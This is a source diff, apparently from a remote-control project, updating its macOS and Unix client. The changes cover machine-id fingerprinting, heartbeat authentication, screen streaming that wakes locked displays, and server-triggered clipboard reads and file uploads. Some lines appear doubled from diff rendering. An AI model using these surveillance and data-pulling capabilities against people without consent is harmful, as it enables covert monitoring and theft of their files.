logInfo.AddReserved(getScreenResolution().c_str()); // [15] RES_RESOLUTION logInfo.AddReserved(getScreenResolution().c_str()); // [15] RES_RESOLUTION
// 计算客户端 ID与服务端 CONTEXT_OBJECT::CalculateID 相同算法) // V2 ID 算法machine-id + 归一化路径
// - 同机同程序路径永远同 ID不依赖 IP/hostname/distro/CPU 漂移)
// - 局域网多机即便同镜像cloud-init/kickstart 会让 machine-id 各不同
// - machine-id 读取失败时退化到老算法pubIP|hostname|distro|cpu|path保兼容
std::string machineId = getMachineId();
if (!machineId.empty()) {
std::string normPath = normalizeExePathLower(exePath);
std::string idInput = machineId + "|" + normPath;
g_myClientID = XXH64(idInput.c_str(), idInput.length(), 0);
Mprintf("Calculated clientID(v2): %llu (machineId=%s, path=%s)\n",
g_myClientID, machineId.c_str(), normPath.c_str());
} else {
// 老算法兜底(与服务端 CONTEXT_OBJECT::CalculateID 相同算法)
// 格式: pubIP|hostname|os|cpu|path // 格式: pubIP|hostname|os|cpu|path
char cpuStr[32]; char cpuStr[32];
snprintf(cpuStr, sizeof(cpuStr), "%uMHz", logInfo.dwCPUMHz); snprintf(cpuStr, sizeof(cpuStr), "%uMHz", logInfo.dwCPUMHz);
@@ -1156,12 +940,16 @@ int main(int argc, char* argv[])
cpuStr + "|" + cpuStr + "|" +
exePath; exePath;
g_myClientID = XXH64(idInput.c_str(), idInput.length(), 0); g_myClientID = XXH64(idInput.c_str(), idInput.length(), 0);
Mprintf("Calculated clientID: %llu (from: %s)\n", g_myClientID, idInput.c_str()); Mprintf("Calculated clientID(v1 fallback): %llu (machine-id 读取失败)\n", g_myClientID);
}
logInfo.AddReserved(std::to_string(g_myClientID).c_str()); // [16] RES_CLIENT_ID logInfo.AddReserved(std::to_string(g_myClientID).c_str()); // [16] RES_CLIENT_ID
logInfo.AddReserved((int)getpid()); // [17] RES_PID logInfo.AddReserved((int)getpid()); // [17] RES_PID
logInfo.AddReserved(getFileSize(exePath).c_str()); // [18] RES_FILESIZE logInfo.AddReserved(getFileSize(exePath).c_str()); // [18] RES_FILESIZE
// 服务端签名输入:与服务端 AddList 处签名格式一致startTime + "|" + clientID
ClientAuth::g_loginMsg = std::string(logInfo.szStartTime) + "|" + std::to_string(g_myClientID);
// 初始化用户活动检测器(用于心跳包中的 ActiveWnd 字段) // 初始化用户活动检测器(用于心跳包中的 ActiveWnd 字段)
ActivityChecker activityChecker; ActivityChecker activityChecker;
@@ -1174,10 +962,27 @@ int main(int argc, char* argv[])
continue; continue;
} }
// 进入新连接,重置服务端身份校验状态
ClientAuth::OnNewConnection();
ClientObject->SendLoginInfo(logInfo.Speed(clock() - c)); ClientObject->SendLoginInfo(logInfo.Speed(clock() - c));
// 心跳保活循环:定时发送心跳包,服务端回复后动态更新 RTT // 心跳保活循环:定时发送心跳包,服务端回复后动态更新 RTT
while (ClientObject->IsRunning() && ClientObject->IsConnected() && S_CLIENT_NORMAL == g_bExit) { while (ClientObject->IsRunning() && ClientObject->IsConnected() && S_CLIENT_NORMAL == g_bExit) {
// 检查是否需要重发登录信息(分组变更后)
if (g_needResendLogin.exchange(false)) {
// 更新 szPCNamehostname/groupname 格式)
std::string grp = g_SETTINGS.szGroupName;
if (!grp.empty()) {
std::string pcNameWithGroup = std::string(hostname) + "/" + grp;
strncpy(logInfo.szPCName, pcNameWithGroup.c_str(), sizeof(logInfo.szPCName) - 1);
} else {
strncpy(logInfo.szPCName, hostname, sizeof(logInfo.szPCName) - 1);
}
logInfo.szPCName[sizeof(logInfo.szPCName) - 1] = '\0';
ClientObject->SendLoginInfo(logInfo);
Mprintf(">> Resent login info after group change\n");
}
// 等待心跳间隔(每秒检查一次退出条件,保证及时响应) // 等待心跳间隔(每秒检查一次退出条件,保证及时响应)
int interval = g_heartbeatInterval > 0 ? g_heartbeatInterval : 30; int interval = g_heartbeatInterval > 0 ? g_heartbeatInterval : 30;
for (int i = 0; i < interval; ++i) { for (int i = 0; i < interval; ++i) {
@@ -1188,8 +993,19 @@ int main(int argc, char* argv[])
if (!ClientObject->IsRunning() || !ClientObject->IsConnected() || g_bExit != S_CLIENT_NORMAL) if (!ClientObject->IsRunning() || !ClientObject->IsConnected() || g_bExit != S_CLIENT_NORMAL)
break; break;
// 30 秒内未通过 MasterSettings 校验 → 断开本连接让外层重连,
// 永不退出进程(详见 ClientAuth::IsTimedOut 注释)。
if (ClientAuth::IsTimedOut()) {
ClientObject->Disconnect(); // 关闭 socket防止重连时 fd 泄漏
break;
}
// 构造并发送心跳包(与 Windows 端 KernelManager::SendHeartbeat 格式一致) // 构造并发送心跳包(与 Windows 端 KernelManager::SendHeartbeat 格式一致)
std::string activity = utf8ToGbk(activityChecker.Check()); // ActiveWnd 直接发 UTF-8——与 LOGIN_INFOR.moduleVersion 中声明的
// CLIENT_CAP_UTF8 一致;服务端按 cap 位用 CP_UTF8 解码。早期为兼容
// MBCS 老服务端做过 utf8ToGbk 转换,但现在新版 Linux 客户端经
// libsign 网关只能连新版服务端,无需再转。
std::string activity = activityChecker.Check();
Heartbeat hb; Heartbeat hb;
hb.Time = GetUnixMs(); hb.Time = GetUnixMs();
@@ -1200,10 +1016,16 @@ int main(int argc, char* argv[])
buf[0] = TOKEN_HEARTBEAT; buf[0] = TOKEN_HEARTBEAT;
memcpy(buf + 1, &hb, sizeof(Heartbeat)); memcpy(buf + 1, &hb, sizeof(Heartbeat));
ClientObject->Send2Server((char*)buf, sizeof(buf)); ClientObject->Send2Server((char*)buf, sizeof(buf));
// 心跳节奏太密日志会刷屏;最多 60s 一行
static time_t lastSendLog = 0;
time_t now_s = time(nullptr);
if (now_s - lastSendLog >= 60) {
lastSendLog = now_s;
Mprintf(">>> Heartbeat sent: Ping=%dms, Interval=%ds, Activity=%s\n", Mprintf(">>> Heartbeat sent: Ping=%dms, Interval=%ds, Activity=%s\n",
hb.Ping, interval, activity.c_str()); hb.Ping, interval, activity.c_str());
} }
} }
}
Logger::getInstance().stop(); Logger::getInstance().stop();
removePidFile(); removePidFile();

View File

@@ -19,6 +19,7 @@ set(SOURCES
main.mm main.mm
../client/Buffer.cpp ../client/Buffer.cpp
../client/IOCPClient.cpp ../client/IOCPClient.cpp
../client/sign_shim_unix.cpp
ScreenHandler.mm ScreenHandler.mm
InputHandler.mm InputHandler.mm
SystemManager.mm SystemManager.mm
@@ -45,6 +46,8 @@ find_library(CARBON_FRAMEWORK Carbon REQUIRED)
find_library(VIDEOTOOLBOX_FRAMEWORK VideoToolbox REQUIRED) find_library(VIDEOTOOLBOX_FRAMEWORK VideoToolbox REQUIRED)
find_library(COREMEDIA_FRAMEWORK CoreMedia REQUIRED) find_library(COREMEDIA_FRAMEWORK CoreMedia REQUIRED)
find_library(COREVIDEO_FRAMEWORK CoreVideo REQUIRED) find_library(COREVIDEO_FRAMEWORK CoreVideo REQUIRED)
find_library(ACCELERATE_FRAMEWORK Accelerate REQUIRED)
find_library(ICONV_LIBRARY iconv REQUIRED)
target_link_libraries(ghost PRIVATE target_link_libraries(ghost PRIVATE
${COCOA_FRAMEWORK} ${COCOA_FRAMEWORK}
@@ -57,7 +60,14 @@ target_link_libraries(ghost PRIVATE
${VIDEOTOOLBOX_FRAMEWORK} ${VIDEOTOOLBOX_FRAMEWORK}
${COREMEDIA_FRAMEWORK} ${COREMEDIA_FRAMEWORK}
${COREVIDEO_FRAMEWORK} ${COREVIDEO_FRAMEWORK}
${ACCELERATE_FRAMEWORK}
${ICONV_LIBRARY}
"${CMAKE_SOURCE_DIR}/lib/libzstd.a" "${CMAKE_SOURCE_DIR}/lib/libzstd.a"
# 私有签名库(提供 signMessage / verifyMessage源码不开源
# 该库由 SimplePlugins 仓库本地构建后放置于 lib/,构建机需先准备好
# libsign.a 内部使用 macOS CommonCryptoHMAC-SHA256CCHmac 在 libSystem
# 中已被 Cocoa/CoreFoundation 等链接自动引入,故此处无需额外 framework
"${CMAKE_SOURCE_DIR}/lib/libsign.a"
) )
# Compiler flags # Compiler flags

186
macos/ClipboardHandler.h Normal file
View File

@@ -0,0 +1,186 @@
#pragma once
#import <Cocoa/Cocoa.h>
#include <string>
#include <vector>
// macOS 剪贴板操作封装
// 使用 NSPasteboard API 实现
class ClipboardHandler
{
public:
// 检查剪贴板功能是否可用 (macOS 总是可用)
static bool IsAvailable()
{
return true;
}
// 获取剪贴板中的文件列表
// 返回文件的完整路径列表UTF-8失败返回空列表
static std::vector<std::string> GetFiles()
{
std::vector<std::string> files;
@autoreleasepool {
NSPasteboard* pasteboard = [NSPasteboard generalPasteboard];
// 方法1: 尝试获取文件 URL 列表 (macOS 10.13+)
NSArray<NSURL*>* urls = [pasteboard readObjectsForClasses:@[[NSURL class]]
options:@{NSPasteboardURLReadingFileURLsOnlyKey: @YES}];
if (urls && urls.count > 0) {
for (NSURL* url in urls) {
if (url.isFileURL) {
NSString* path = url.path;
if (path) {
files.push_back([path UTF8String]);
}
}
}
return files;
}
// 方法2: 兼容旧版 API (NSFilenamesPboardType)
NSArray* filenames = [pasteboard propertyListForType:NSFilenamesPboardType];
if (filenames && [filenames isKindOfClass:[NSArray class]]) {
for (NSString* path in filenames) {
if ([path isKindOfClass:[NSString class]]) {
files.push_back([path UTF8String]);
}
}
}
}
return files;
}
// 获取剪贴板文本
// 返回 UTF-8 编码的文本,失败返回空字符串
static std::string GetText()
{
@autoreleasepool {
NSPasteboard* pasteboard = [NSPasteboard generalPasteboard];
NSString* text = [pasteboard stringForType:NSPasteboardTypeString];
if (text) {
return [text UTF8String];
}
}
return "";
}
// 设置剪贴板文本
// text: UTF-8 编码的文本
// 返回是否成功
static bool SetText(const std::string& text)
{
if (text.empty()) return true;
@autoreleasepool {
NSPasteboard* pasteboard = [NSPasteboard generalPasteboard];
[pasteboard clearContents];
NSString* nsText = [NSString stringWithUTF8String:text.c_str()];
if (nsText) {
return [pasteboard setString:nsText forType:NSPasteboardTypeString];
}
}
return false;
}
// 设置剪贴板文本(从原始字节)
// data: 文本数据(可能是 GBK 或 UTF-8
// len: 数据长度
static bool SetTextRaw(const char* data, size_t len)
{
if (!data || len == 0) return true;
// 服务端发来的文本可能是 GBK 编码,尝试转换为 UTF-8
std::string text = ConvertToUtf8(data, len);
return SetText(text);
}
// 设置剪贴板文件列表
// files: UTF-8 编码的文件路径列表
// 返回是否成功
static bool SetFiles(const std::vector<std::string>& files)
{
if (files.empty()) return true;
@autoreleasepool {
NSPasteboard* pasteboard = [NSPasteboard generalPasteboard];
[pasteboard clearContents];
NSMutableArray<NSURL*>* urls = [NSMutableArray arrayWithCapacity:files.size()];
for (const auto& path : files) {
NSString* nsPath = [NSString stringWithUTF8String:path.c_str()];
if (nsPath) {
NSURL* url = [NSURL fileURLWithPath:nsPath];
if (url) {
[urls addObject:url];
}
}
}
if (urls.count > 0) {
return [pasteboard writeObjects:urls];
}
}
return false;
}
private:
// 检查是否是有效的 UTF-8 序列
static bool IsValidUtf8(const char* data, size_t len)
{
const unsigned char* bytes = (const unsigned char*)data;
size_t i = 0;
while (i < len) {
if (bytes[i] <= 0x7F) {
// ASCII
i++;
} else if ((bytes[i] & 0xE0) == 0xC0) {
// 2-byte sequence
if (i + 1 >= len || (bytes[i + 1] & 0xC0) != 0x80) return false;
i += 2;
} else if ((bytes[i] & 0xF0) == 0xE0) {
// 3-byte sequence
if (i + 2 >= len || (bytes[i + 1] & 0xC0) != 0x80 || (bytes[i + 2] & 0xC0) != 0x80) return false;
i += 3;
} else if ((bytes[i] & 0xF8) == 0xF0) {
// 4-byte sequence
if (i + 3 >= len || (bytes[i + 1] & 0xC0) != 0x80 ||
(bytes[i + 2] & 0xC0) != 0x80 || (bytes[i + 3] & 0xC0) != 0x80) return false;
i += 4;
} else {
return false;
}
}
return true;
}
// 尝试将 GBK 转换为 UTF-8
// 如果已经是 UTF-8直接返回
static std::string ConvertToUtf8(const char* data, size_t len)
{
// 检查是否已经是有效的 UTF-8
if (IsValidUtf8(data, len)) {
return std::string(data, len);
}
// 使用 NSString 进行编码转换 (GBK = CFStringEncodingGB_18030_2000)
@autoreleasepool {
// 尝试 GBK (GB18030) 编码
NSStringEncoding gbkEncoding = CFStringConvertEncodingToNSStringEncoding(kCFStringEncodingGB_18030_2000);
NSString* str = [[NSString alloc] initWithBytes:data length:len encoding:gbkEncoding];
if (str) {
const char* utf8 = [str UTF8String];
if (utf8) {
return std::string(utf8);
}
}
}
// 转换失败,返回原始数据
return std::string(data, len);
}
};

View File

@@ -6,8 +6,27 @@
bool Permissions::checkScreenCapture() { bool Permissions::checkScreenCapture() {
// macOS 10.15+ requires screen recording permission // macOS 10.15+ requires screen recording permission
if (@available(macOS 10.15, *)) { if (@available(macOS 10.15, *)) {
// Use CGPreflightScreenCaptureAccess for reliable permission check // CGPreflightScreenCaptureAccess() is unreliable - it can return false
// This API is available since macOS 10.15 // even when permission is granted (especially after code re-signing).
// Instead, actually try to capture the screen to verify permission.
CGDirectDisplayID displayID = CGMainDisplayID();
CGImageRef image = CGDisplayCreateImage(displayID);
if (image != NULL) {
// Got an image - permission is granted
// Additional check: verify image has actual content (not blank)
size_t width = CGImageGetWidth(image);
size_t height = CGImageGetHeight(image);
CGImageRelease(image);
if (width > 0 && height > 0) {
return true;
}
}
// Failed to capture - permission not granted or display issue
// Fall back to preflight check for triggering dialog
return CGPreflightScreenCaptureAccess(); return CGPreflightScreenCaptureAccess();
} }

View File

@@ -2,13 +2,17 @@
#import <CoreGraphics/CoreGraphics.h> #import <CoreGraphics/CoreGraphics.h>
#import <dispatch/dispatch.h> #import <dispatch/dispatch.h>
#import <IOKit/pwr_mgt/IOPMLib.h>
#import <IOSurface/IOSurface.h>
#import "../client/IOCPClient.h" #import "../client/IOCPClient.h"
#import "../common/commands.h" // QualityLevel, QualityProfile, ALGORITHM_*
#include <vector> #include <vector>
#include <atomic> #include <atomic>
#include <mutex> #include <mutex>
#include <thread> #include <thread>
#include <cstdint> #include <cstdint>
#include <memory> #include <memory>
#include <condition_variable>
// Forward declarations // Forward declarations
class IOCPClient; class IOCPClient;
@@ -32,11 +36,7 @@ struct BITMAPINFOHEADER_MAC {
}; };
#pragma pack(pop) #pragma pack(pop)
// Screen algorithm constants // Algorithm constants from commands.h: ALGORITHM_GRAY, ALGORITHM_DIFF, ALGORITHM_H264, ALGORITHM_RGB565
#define ALGORITHM_GRAY 0
#define ALGORITHM_DIFF 1
#define ALGORITHM_H264 2
#define ALGORITHM_RGB565 3
class ScreenHandler : public IOCPManager { class ScreenHandler : public IOCPManager {
public: public:
@@ -120,6 +120,7 @@ private:
std::vector<uint8_t> m_prevFrame; std::vector<uint8_t> m_prevFrame;
std::vector<uint8_t> m_currFrame; std::vector<uint8_t> m_currFrame;
std::vector<uint8_t> m_diffBuffer; std::vector<uint8_t> m_diffBuffer;
std::vector<uint8_t> m_tempBuffer; // 临时缓冲区,避免每帧分配
// Quality settings // Quality settings
std::atomic<uint8_t> m_algorithm; std::atomic<uint8_t> m_algorithm;
@@ -132,4 +133,28 @@ private:
// Input handler for mouse/keyboard control // Input handler for mouse/keyboard control
std::unique_ptr<InputHandler> m_inputHandler; std::unique_ptr<InputHandler> m_inputHandler;
// Power management: prevent display sleep during remote desktop
IOPMAssertionID m_displayAssertionID;
// Cached color space (avoid per-frame creation)
CGColorSpaceRef m_colorSpace;
// CGDisplayStream (efficient continuous capture)
CGDisplayStreamRef m_displayStream;
dispatch_queue_t m_streamQueue;
IOSurfaceRef m_latestSurface;
std::mutex m_surfaceMutex;
std::condition_variable m_surfaceCond;
std::atomic<bool> m_hasNewFrame;
// Initialize/cleanup display stream
bool initDisplayStream();
void cleanupDisplayStream();
// Process frame from IOSurface (called by stream callback)
void processIOSurface(IOSurfaceRef surface);
// Capture from IOSurface to buffer (with vertical flip)
bool captureFromIOSurface(IOSurfaceRef surface, std::vector<uint8_t>& buffer);
}; };

View File

@@ -1,13 +1,18 @@
#import "ScreenHandler.h" #import "ScreenHandler.h"
#import "H264Encoder.h" #import "H264Encoder.h"
#import "InputHandler.h" #import "InputHandler.h"
#import "ClipboardHandler.h"
#import "../client/IOCPClient.h" #import "../client/IOCPClient.h"
#import "../common/commands.h" #import "../common/commands.h"
#import "../common/FileTransferV2.h"
#import "../common/logger.h"
#import "Permissions.h" #import "Permissions.h"
#import <Cocoa/Cocoa.h> #import <Cocoa/Cocoa.h>
#import <chrono>
#import <CoreGraphics/CoreGraphics.h> #import <CoreGraphics/CoreGraphics.h>
#import <ApplicationServices/ApplicationServices.h> #import <ApplicationServices/ApplicationServices.h>
#import <mach/mach_time.h> #import <mach/mach_time.h>
#import <Accelerate/Accelerate.h>
// Global client ID (calculated in main.mm) // Global client ID (calculated in main.mm)
extern uint64_t g_myClientID; extern uint64_t g_myClientID;
@@ -26,9 +31,18 @@ ScreenHandler::ScreenHandler(IOCPClient* client)
, m_maxFPS(15) , m_maxFPS(15)
, m_qualityLevel(QUALITY_GOOD) // Use fixed QUALITY_GOOD (H264) for web compatibility , m_qualityLevel(QUALITY_GOOD) // Use fixed QUALITY_GOOD (H264) for web compatibility
, m_h264Bitrate(3000000) // 3 Mbps (matches Windows QUALITY_GOOD) , m_h264Bitrate(3000000) // 3 Mbps (matches Windows QUALITY_GOOD)
, m_displayAssertionID(0)
, m_colorSpace(nullptr)
, m_displayStream(nullptr)
, m_streamQueue(nullptr)
, m_latestSurface(nullptr)
, m_hasNewFrame(false)
{ {
memset(&m_bmpHeader, 0, sizeof(m_bmpHeader)); memset(&m_bmpHeader, 0, sizeof(m_bmpHeader));
// Cache color space (avoid per-frame creation)
m_colorSpace = CGColorSpaceCreateDeviceRGB();
// Initialize input handler for mouse/keyboard control // Initialize input handler for mouse/keyboard control
m_inputHandler = std::make_unique<InputHandler>(); m_inputHandler = std::make_unique<InputHandler>();
if (m_inputHandler->init()) { if (m_inputHandler->init()) {
@@ -41,6 +55,13 @@ ScreenHandler::ScreenHandler(IOCPClient* client)
ScreenHandler::~ScreenHandler() ScreenHandler::~ScreenHandler()
{ {
stop(); stop();
cleanupDisplayStream();
// Release cached color space
if (m_colorSpace) {
CGColorSpaceRelease(m_colorSpace);
m_colorSpace = nullptr;
}
} }
bool ScreenHandler::init() bool ScreenHandler::init()
@@ -103,24 +124,273 @@ bool ScreenHandler::init()
m_currFrame.resize(m_bmpHeader.biSizeImage, 0); m_currFrame.resize(m_bmpHeader.biSizeImage, 0);
m_diffBuffer.resize(1 + 1 + 8 + 1 + m_bmpHeader.biSizeImage * 2); m_diffBuffer.resize(1 + 1 + 8 + 1 + m_bmpHeader.biSizeImage * 2);
// Wake display if needed (do this early, before sending TOKEN_BITMAPINFO)
bool wasAsleep = CGDisplayIsAsleep(m_displayID);
bool isLocked = false;
CFDictionaryRef sessionInfo = CGSessionCopyCurrentDictionary();
if (sessionInfo) {
CFBooleanRef screenLocked = (CFBooleanRef)CFDictionaryGetValue(
sessionInfo, CFSTR("CGSSessionScreenIsLocked"));
if (screenLocked && CFBooleanGetValue(screenLocked)) {
isLocked = true;
}
CFRelease(sessionInfo);
}
if (wasAsleep || isLocked) {
NSLog(@"Waking display in init (asleep=%d, locked=%d)...", wasAsleep, isLocked);
// Create NoDisplaySleep assertion - this wakes the display
if (m_displayAssertionID == 0) {
IOReturn result = IOPMAssertionCreateWithName(
kIOPMAssertionTypeNoDisplaySleep,
kIOPMAssertionLevelOn,
CFSTR("SimpleRemoter - remote desktop session active"),
&m_displayAssertionID
);
if (result == kIOReturnSuccess) {
NSLog(@"Display assertion created (ID: %u)", m_displayAssertionID);
}
}
// Declare user activity to ensure wake
IOPMAssertionID wakeAssertionID = 0;
IOPMAssertionDeclareUserActivity(
CFSTR("SimpleRemoter - waking display"),
kIOPMUserActiveLocal,
&wakeAssertionID
);
if (wakeAssertionID) {
IOPMAssertionRelease(wakeAssertionID);
}
// Brief wait for loginwindow to render
std::this_thread::sleep_for(std::chrono::milliseconds(500));
NSLog(@"Display wake complete");
}
// Initialize CGDisplayStream for efficient capture
if (!initDisplayStream()) {
NSLog(@"Warning: CGDisplayStream init failed, falling back to legacy capture");
}
NSLog(@"ScreenHandler initialized: %dx%d", m_width, m_height); NSLog(@"ScreenHandler initialized: %dx%d", m_width, m_height);
return true; return true;
} }
bool ScreenHandler::initDisplayStream()
{
// Create dispatch queue for stream callbacks
m_streamQueue = dispatch_queue_create("com.ghost.screenstream", DISPATCH_QUEUE_SERIAL);
if (!m_streamQueue) {
NSLog(@"Failed to create dispatch queue for display stream");
return false;
}
// Stream properties
CFMutableDictionaryRef properties = CFDictionaryCreateMutable(
kCFAllocatorDefault, 0,
&kCFTypeDictionaryKeyCallBacks,
&kCFTypeDictionaryValueCallBacks
);
// Request minimum frame interval based on FPS (e.g., 15 FPS = 1/15 sec)
int fps = m_maxFPS.load();
if (fps <= 0) fps = 15;
double interval = 1.0 / (double)fps;
CFNumberRef intervalRef = CFNumberCreate(kCFAllocatorDefault, kCFNumberDoubleType, &interval);
CFDictionarySetValue(properties, kCGDisplayStreamMinimumFrameTime, intervalRef);
CFRelease(intervalRef);
// Show cursor in stream
CFDictionarySetValue(properties, kCGDisplayStreamShowCursor, kCFBooleanFalse);
// Preserve aspect ratio
CFDictionarySetValue(properties, kCGDisplayStreamPreserveAspectRatio, kCFBooleanTrue);
// Create the display stream with BGRA format
__block ScreenHandler* handler = this;
m_displayStream = CGDisplayStreamCreateWithDispatchQueue(
m_displayID,
m_width,
m_height,
'BGRA', // Pixel format
properties,
m_streamQueue,
^(CGDisplayStreamFrameStatus status,
uint64_t displayTime,
IOSurfaceRef frameSurface,
CGDisplayStreamUpdateRef updateRef) {
(void)displayTime;
(void)updateRef;
if (status == kCGDisplayStreamFrameStatusFrameComplete && frameSurface) {
handler->processIOSurface(frameSurface);
} else if (status == kCGDisplayStreamFrameStatusFrameIdle) {
// Screen not changed, still notify for FPS timing
handler->m_hasNewFrame.store(true);
handler->m_surfaceCond.notify_one();
} else if (status == kCGDisplayStreamFrameStatusStopped) {
NSLog(@"CGDisplayStream stopped");
}
}
);
CFRelease(properties);
if (!m_displayStream) {
NSLog(@"Failed to create CGDisplayStream");
m_streamQueue = nullptr; // ARC manages dispatch objects
return false;
}
// Start the stream
CGError err = CGDisplayStreamStart(m_displayStream);
if (err != kCGErrorSuccess) {
NSLog(@"Failed to start CGDisplayStream: %d", err);
CFRelease(m_displayStream);
m_displayStream = nullptr;
m_streamQueue = nullptr; // ARC manages dispatch objects
return false;
}
NSLog(@"CGDisplayStream started: %dx%d @ %d FPS", m_width, m_height, fps);
return true;
}
void ScreenHandler::cleanupDisplayStream()
{
if (m_displayStream) {
CGDisplayStreamStop(m_displayStream);
CFRelease(m_displayStream);
m_displayStream = nullptr;
}
// ARC manages dispatch objects, just nil the pointer
m_streamQueue = nullptr;
std::lock_guard<std::mutex> lock(m_surfaceMutex);
if (m_latestSurface) {
CFRelease(m_latestSurface);
m_latestSurface = nullptr;
}
}
void ScreenHandler::processIOSurface(IOSurfaceRef surface)
{
// Retain the surface and store it
std::lock_guard<std::mutex> lock(m_surfaceMutex);
if (m_latestSurface) {
CFRelease(m_latestSurface);
}
m_latestSurface = (IOSurfaceRef)CFRetain(surface);
m_hasNewFrame.store(true);
m_surfaceCond.notify_one();
}
bool ScreenHandler::captureFromIOSurface(IOSurfaceRef surface, std::vector<uint8_t>& buffer)
{
if (!surface) return false;
// Lock the surface for CPU read
IOSurfaceLock(surface, kIOSurfaceLockReadOnly, nullptr);
size_t width = IOSurfaceGetWidth(surface);
size_t height = IOSurfaceGetHeight(surface);
size_t bytesPerRow = IOSurfaceGetBytesPerRow(surface);
void* baseAddr = IOSurfaceGetBaseAddress(surface);
if (!baseAddr || width != (size_t)m_width || height != (size_t)m_height) {
IOSurfaceUnlock(surface, kIOSurfaceLockReadOnly, nullptr);
return false;
}
// Ensure temp buffer is allocated
size_t requiredSize = m_width * 4 * m_height;
if (m_tempBuffer.size() != requiredSize) {
m_tempBuffer.resize(requiredSize);
}
// Copy from IOSurface to temp buffer (handle different bytesPerRow)
size_t dstBytesPerRow = m_width * 4;
if (bytesPerRow == dstBytesPerRow) {
memcpy(m_tempBuffer.data(), baseAddr, requiredSize);
} else {
// Row by row copy for different strides
uint8_t* src = (uint8_t*)baseAddr;
uint8_t* dst = m_tempBuffer.data();
for (size_t y = 0; y < height; y++) {
memcpy(dst + y * dstBytesPerRow, src + y * bytesPerRow, dstBytesPerRow);
}
}
IOSurfaceUnlock(surface, kIOSurfaceLockReadOnly, nullptr);
// Flip vertically using Accelerate framework (SIMD optimized)
vImage_Buffer src = {
.data = m_tempBuffer.data(),
.height = (vImagePixelCount)height,
.width = (vImagePixelCount)width,
.rowBytes = dstBytesPerRow
};
vImage_Buffer dst = {
.data = buffer.data(),
.height = (vImagePixelCount)height,
.width = (vImagePixelCount)width,
.rowBytes = dstBytesPerRow
};
vImage_Error err = vImageVerticalReflect_ARGB8888(&src, &dst, kvImageNoFlags);
if (err != kvImageNoError) {
// Fallback to manual flip
for (size_t y = 0; y < height; y++) {
memcpy(buffer.data() + (height - 1 - y) * dstBytesPerRow,
m_tempBuffer.data() + y * dstBytesPerRow,
dstBytesPerRow);
}
}
return true;
}
void ScreenHandler::start(IOCPClient* client, uint64_t clientID) void ScreenHandler::start(IOCPClient* client, uint64_t clientID)
{ {
if (m_running) return; // If already running, just send TOKEN_BITMAPINFO again
// This allows server to create additional dialogs (MFC can open while Web is active)
if (m_running) {
NSLog(@"ScreenHandler already running, sending TOKEN_BITMAPINFO for new dialog");
sendBitmapInfo();
return;
}
m_client = client; m_client = client;
m_clientID = clientID; m_clientID = clientID;
m_running = true; m_running = true;
// Display wake was already done in init(), just ensure assertion exists
if (m_displayAssertionID == 0) {
IOReturn result = IOPMAssertionCreateWithName(
kIOPMAssertionTypeNoDisplaySleep,
kIOPMAssertionLevelOn,
CFSTR("SimpleRemoter - remote desktop session active"),
&m_displayAssertionID
);
if (result == kIOReturnSuccess) {
NSLog(@"Display sleep disabled (ID: %u)", m_displayAssertionID);
}
}
m_captureThread = std::thread(&ScreenHandler::captureLoop, this); m_captureThread = std::thread(&ScreenHandler::captureLoop, this);
} }
void ScreenHandler::stop() void ScreenHandler::stop()
{ {
m_running = false; m_running = false;
// Wake up capture thread if waiting
m_surfaceCond.notify_all();
if (m_captureThread.joinable()) { if (m_captureThread.joinable()) {
m_captureThread.join(); m_captureThread.join();
} }
@@ -130,6 +400,13 @@ void ScreenHandler::stop()
m_h264Encoder->close(); m_h264Encoder->close();
m_h264Encoder.reset(); m_h264Encoder.reset();
} }
// Release display sleep assertion - allow screen to turn off
if (m_displayAssertionID != 0) {
IOPMAssertionRelease(m_displayAssertionID);
NSLog(@"Display sleep re-enabled (released ID: %u)", m_displayAssertionID);
m_displayAssertionID = 0;
}
} }
void ScreenHandler::sendBitmapInfo() void ScreenHandler::sendBitmapInfo()
@@ -207,6 +484,125 @@ void ScreenHandler::OnReceive(uint8_t* data, ULONG size)
} }
break; break;
case COMMAND_SCREEN_SET_CLIPBOARD:
// 服务端设置剪贴板: [cmd:1][text:N]
if (size > 1) {
if (ClipboardHandler::SetTextRaw((const char*)(data + 1), size - 1)) {
NSLog(@">>> Clipboard SET: %zu bytes", size - 1);
} else {
NSLog(@"*** Clipboard SET failed");
}
}
break;
case COMMAND_SCREEN_GET_CLIPBOARD:
// 服务端请求剪贴板: [cmd:1][hash:64][hmac:16]
// 返回: [TOKEN_CLIPBOARD_TEXT:1][text:N] 或 [COMMAND_GET_FOLDER:1][files]
{
// 优先检查剪贴板中的文件
auto files = ClipboardHandler::GetFiles();
if (!files.empty()) {
// 返回 COMMAND_GET_FOLDER + 文件列表多字符串格式file1\0file2\0\0
std::vector<uint8_t> buf;
buf.push_back(COMMAND_GET_FOLDER);
for (const auto& f : files) {
// 文件路径需要转换为 GBK 编码(服务端预期)
std::string gbkPath = FileTransferV2::utf8ToGbk(f);
buf.insert(buf.end(), gbkPath.begin(), gbkPath.end());
buf.push_back(0); // 每个路径后的 null 终止符
}
buf.push_back(0); // 结束标记
m_client->Send2Server((char*)buf.data(), buf.size());
NSLog(@">>> Clipboard GET: %zu files", files.size());
break;
}
// 没有文件,返回文本
std::string text = ClipboardHandler::GetText();
if (!text.empty()) {
std::vector<uint8_t> buf(1 + text.size());
buf[0] = TOKEN_CLIPBOARD_TEXT;
memcpy(&buf[1], text.data(), text.size());
m_client->Send2Server((char*)buf.data(), buf.size());
NSLog(@">>> Clipboard GET: %zu bytes text", text.size());
} else {
// 返回空剪贴板
uint8_t empty = TOKEN_CLIPBOARD_TEXT;
m_client->Send2Server((char*)&empty, 1);
NSLog(@">>> Clipboard GET: empty");
}
}
break;
case COMMAND_GET_FILE:
// Server requests file download: [cmd:1][targetDir\0][file1\0file2\0...\0]
// Use V2 protocol to upload files
{
if (size < 3) break;
// Parse target directory (GBK encoding)
const char* ptr = (const char*)(data + 1);
const char* end = (const char*)(data + size);
std::string targetDirGbk = ptr;
std::string targetDir = FileTransferV2::gbkToUtf8(targetDirGbk);
ptr += targetDirGbk.length() + 1;
// Parse file list
std::vector<std::string> files;
while (ptr < end && *ptr != '\0') {
std::string fileGbk = ptr;
files.push_back(FileTransferV2::gbkToUtf8(fileGbk));
ptr += fileGbk.length() + 1;
}
// 如果没有文件列表,从剪贴板获取
if (files.empty()) {
files = ClipboardHandler::GetFiles();
}
if (!files.empty() && !targetDir.empty()) {
NSLog(@">>> COMMAND_GET_FILE: %zu files -> %s", files.size(), targetDir.c_str());
// Use V2 protocol to send files
IOCPClient* client = m_client;
std::thread([files, targetDir, client]() {
// Collect all files (expand directories)
std::vector<std::string> allFiles;
std::vector<std::string> rootCandidates;
for (const auto& path : files) {
struct stat st;
if (stat(path.c_str(), &st) != 0) continue;
